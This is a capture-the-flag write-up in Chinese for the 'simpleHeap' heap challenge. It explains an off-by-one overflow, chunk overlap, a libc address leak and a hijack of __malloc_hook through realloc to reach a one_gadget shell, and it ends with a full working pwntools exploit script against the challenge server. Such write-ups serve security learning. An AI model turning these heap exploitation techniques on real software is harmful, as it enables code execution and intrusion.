[V&N2020 公開賽]simpleHeap | Extend Chunk & Realloc
Off by One 溢位
Off by One
int Edit()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = readint();
if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
exit(0);
printf("content:");
read_str((__int64)qword_2020A0[v1], dword_202060[v1]);
return puts("Done!");
}
進入 readstr():
unsigned __int64 __fastcall readstr(__int64 a1, int a2) { unsigned __int64 result; // rax unsigned int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; ; ++i ) { result = i; if ( (signed int)i > a2 ) break; if ( !read(0, (void *)((signed int)i + a1), 1uLL) ) exit(0); if ( *(_BYTE *)((signed int)i + a1) == 10 ) { result = (signed int)i + a1; *(_BYTE *)result = 0; return result; } } return result; }
讀入字串的邊界條件存在問題,對於記錄著大小為 a1 的 chunk,可以讀入 a2 + 1 個字元
利用 Off By One 可以覆蓋掉物理相鄰的下一個堆塊 size 的最後一個位元組(前提是修改的堆塊大小為 0x8 的奇數倍,詳見圖解)
即修改了物理相鄰的下一個堆塊的 size 位,若寫入一個較大的數,即可造車給 Chunk Extend (堆塊延長)
具體過程
首先如圖所示分配堆塊,最下面的 Chunk 是防止 Top Chunk 向前生長的
第二步修改 idx0 的內容,溢位一位元組覆蓋到 idx1 的 size 位,使其偽造成一個總空間為 0xe1 的 Chunk
在 free(idx1) 之後,由於 size 超出了 fastbin 的範圍,所以 idx1 釋放後會進入 unsorted bin
需要注意的是 free 會驗證 idx1 + 0xe0 的位置是不是一個 Chunk 頭,如果不是會失敗,這裡是 idx3 的 Header
unsortbin:
all: 0x55f1ebc28020 -> 0x7fed444b9b78 (main_arena + 88)
此時再分配一個 0x60 的堆塊,由於 fastbin 裡沒有 Free Chunk,程式會再 unsorted bin 的 idx1 中進行切割,如圖:
切割的過程中,切割出的 idx4(此時索引中還沒有) 成為了 unsorted bin 中新的唯一 Chunk,其 fd 指標指向 main_arena + 88
unsortbin: all: 0x55f1ebc28090 -> 0x7fed444b9b78 (main_arena + 88)
注意到此時 idx4(此時索引中還沒有) 和 idx2 是同一個堆塊,idx4 是我們儲存過的,所以可以通過 show(idx) 洩露出 main_arena 地址
這樣就洩露出了 libc 的基址,我們希望通過覆寫 __malloc_hook 來控制程式的執行流
因為此時 idx2 和 idx4 是重疊是,所以一個 edit,一個 allocate 可以實現我們的目的
首先生成索引中的 idx4(content: 0x60)然後 delete,此時該 Chunk 釋放進入了 fastbin
然後用 idx2 寫入 Fake Chunk 的地址到 idx2/idx4 的 fd 中(__malloc_hook-0x23),為什麼是這樣 看這裡
當我們再兩次 allocate 的時候,Fake Chunk 就成功在 __malloc_hook-0x23 生成,我們通過其覆寫 __malloc_hook 劫持控制流
Realloc
直接用 one_gadget 寫入 __malloc_hook 會失敗,因為所需 getshell 條件沒有被滿足
對於這道題要使用 libc 中的 realloc 函式調整棧幀結構,使棧幀滿足 one_gadget 的條件
__realloc_hook 和 __malloc_hook 有著差不多的含義,即在呼叫 realloc/hook 的時候會檢查 hook 是否為 NULL,如果不是則先執行 hook
首先要曉得 __realloc_hook 和 __malloc_hook 在物理上的相鄰的,所以我們的 payload 可以同時覆寫這兩者
即: payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+13)
這裡的 gadget 是寫入 __realloc_hook 的,relloc+13 是寫入 __malloc_hook 的
程式的執行流是 __malloc_hook -> realloc+offset -> __realloc_hook -> one_gadget
結合 realloc 的程式碼就好理解了
realloc 在呼叫 __realloc_hook 之前,首先會執行一系列的 push 壓棧,結束前會悉數彈出
如果我們首先在 relloc+offset 開始執行,少了一些 push,會把棧幀抬高,在最後執行 one_gadget 的時候 esp 的地址會發生改變
下圖是 relloc 和 relloc+4 的除錯結果,可以看出 esp 的相對值是增大的
通過除錯構造出 one_gadget 的條件,以此 GetShell
在這道題中,需要使用 rsp+0x30 這個 one_gadget,並且從 relloc+13 開始執行,遠端即可打通
儘管載入了相同的 libc,但本地的情況不太一樣,需要慢慢調整選擇正確的 one_gadget 和 realloc+offset
EXP
from pwn import *
#ld_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so'
#libc_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'
libc_path = './libc-2.23.so'
elf_path = './vn_pwn_simpleHeap'
#io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
io = remote('node3.buuoj.cn', '28315')
#one_gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc = ELF(libc_path)
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
def cmd(x):
io.sendlineafter('choice: ', str(x))
def add(size, content):
cmd(1)
io.sendlineafter('size?', str(size))
io.sendlineafter('content:', content)
def edit(idx, content):
cmd(2)
io.sendlineafter('idx?', str(idx))
io.sendlineafter('content:', content)
def show(idx):
cmd(3)
io.sendlineafter('idx?', str(idx))
def delete(idx):
cmd(4)
io.sendlineafter('idx?', str(idx))
add(0x18, 'aaaa')
add(0x60, 'aaaa')
add(0x60, 'aaaa')
add(0x10, 'aaaa')
payload = 'a'*0x18 + '\xe1'
edit(0, payload)
delete(1)
add(0x60, 'aaaa')
show(2)
main_arena = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88
libc_base = main_arena - 0x3c4b20
success('main_arena: ' + hex(main_arena))
success('libc_base: ' + hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
fake_chunk = malloc_hook - 0x23
add(0x60, 'aaaa') # 4 and 2
delete(4)
payload = p64(fake_chunk)
edit(2, payload)
add(0x60, 'aaaa') # 4
gadget = libc_base + one_gadget[3]
success('gadget:' + hex(gadget))
offset = [0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]
payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+offset[5])
# payload = 'a' * 0x13 + p64(gadget)
add(0x60, payload)
# success(pidof(io))
# pause()
cmd(1)
io.sendlineafter('size?', '10')
io.interactive()